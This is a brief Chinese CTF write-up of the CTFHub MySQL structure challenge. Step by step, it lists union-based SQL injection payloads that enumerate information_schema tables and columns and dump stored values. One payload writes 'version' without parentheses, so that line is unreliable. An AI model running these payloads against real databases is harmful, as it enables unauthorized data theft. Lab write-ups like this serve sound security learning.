CTFHub-mysql结构

2021/8/24 19:36:31

本文主要是介绍CTFHub-mysql结构,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!

手工注入

    输入1,发现存在两个注入点

 

 

    验证两个注入点:0 union select 1,2

 

 

    得到所使用的的数据库信息和版本信息:0 union select database(),version  (返回的字段数必须和注入点数量一致)

 

 

    通过数据库去查找表:0 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'

 

 

    查询表中的字段:0 union select 1,group_concat(column_name) from information_schema.columns where table_name='brqivopyay'

 

    查询对应字段的值:0 union select 1,group_concat(ncrvswmjky) from brqivopyay

 



这篇关于CTFHub-mysql结构的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!


扫一扫关注最新编程教程